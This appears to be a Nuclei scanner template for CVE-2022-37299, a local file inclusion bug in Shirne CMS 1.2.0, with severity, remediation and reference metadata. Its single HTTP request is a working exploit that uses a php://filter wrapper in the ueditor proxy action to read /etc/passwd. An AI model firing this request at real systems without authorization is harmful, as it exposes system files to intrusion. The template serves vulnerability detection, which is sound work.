CVE-2022-37299: Shirne CMS 1.2.0 - Local File Inclusion

id: CVE-2022-37299

info:
  name: Shirne CMS 1.2.0 - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of Shirne CMS or apply the vendor-provided patch to mitigate the LFI vulnerability.
  reference:
    - https://twitter.com/pikpikcu/status/1568316864690028544
    - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37299
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-37299
    cwe-id: CWE-22
    epss-score: 0.17152
    epss-percentile: 0.94771
    cpe: cpe:2.3:a:shirne_cms_project:shirne_cms:1.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shirne_cms_project
    product: shirne_cms
  tags: cve,cve2022,shirnecms,lfi,shirne_cms_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cm9vd" # root in base64

      - type: word
        part: header
        words:
          - "image/png"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a5911aa7c69d7b8c41dddd604e79237b9041f7aec78ff44c0e2625e0108e3b3022100e2626e9d2f499566ef0c33f4fb3e69dcd0c196ba872590ea360fabb707c777f1:922c64590222798bb761d5b6d8e72950